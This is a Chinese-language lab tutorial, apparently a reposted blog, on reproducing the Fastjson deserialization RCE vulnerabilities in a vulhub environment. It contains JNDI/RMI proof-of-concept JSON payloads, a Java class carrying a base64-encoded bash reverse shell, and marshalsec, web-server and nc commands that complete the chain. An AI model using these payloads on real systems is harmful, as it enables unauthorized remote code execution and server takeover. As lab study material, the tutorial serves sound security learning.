Fastjson简介
fastjson是阿里的开源JSON解析库提供两个主要方法JSON.toJSONString和JSON.parseObkect/JSON.parse来分别实现序列化和反序列化操作,被爆出两个远程命令执行漏洞,为2017年1.2.24版本和2019年1.2.47版本
Fastjson验证
启动vulhub靶场环境 docker-compose up -d
打开后我们可以i通过burp进行抓包将请求方式改为POST,并且输入错误的json数据
fastjson1.2.47的版本会进行报错,其它版本的我没试过
此时我们可以输入相应的poc和dnslog配合判断漏洞是否存在
验证的poc
//1.2.24以下版本
{
"a":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/Test",
"autoCommit":true
}
}
//1.2.47以下版本
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/Test",
"autoCommit":true
}
}
dnslog网址后面需要加资源,不然不会去访问
dnslog收到访问,这就说明这个漏洞是存在的
Fastjson复现
需要在vps上搭建一个web服务以及rmi,然后把恶意类上传到web服务上面。
当我们输入poc发送时,受害者就通过rmi服务访问我们,rmi服务再来指定加载远程类,去加载我们搭建的web服务上的恶意类,从而执行恶意类的代码反弹shell。
搭建web服务
恶意类代码:
base64的是反弹shell的语句,此处反弹的是7777端口
import java.lang.Runtime;
import java.lang.Process;
public class rmi{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyLWlwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
将恶意代码写为java结尾的文件,然后通过javac进行编译成class文件
通过python在vps开启一个临时的web服务python -m http.server 8080
python安装
将生成的恶意class文件放到web目录上,这里已经可以访问到了
搭建rmi服务
我用的centos
将marshalsec下载到本地
git clone https://github.com/mbechler/marshalsec.git
安装maven
yum install maven
进入marshalsec,然后使用maven编译marshalsec成jar包
mvn clean package -DskipTests
经过一段漫长的编译后终于好了
进入文件夹搭建rmi服务,后面跟web服务的地址以及rmi服务的端口,当受害者访问此rmi服务时就会自动重定向访问web服务加载上面的恶意类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:8080/#rmi" 6666
开始执行
此时web服务和rmi服务都以及搭建完成,开始漏洞利用
监听机开启nc监听,等待获取反弹的shell
burp处用构造好的poc去进行发送,让受害服务器去远程访问我们搭建的rmi服务
公网的rmi服务这边收到了受害服务器的请求,将请求转发让受害者服务器去访问公网的web服务
当受害者服务器去访问我们公网的web服务后,加载了恶意的类rmi.class,然后执行了类其中的反弹shell的命令,nc这边成功获取shell
版权归原作者 深白色耳机 所有, 如有侵权,请联系我们删除。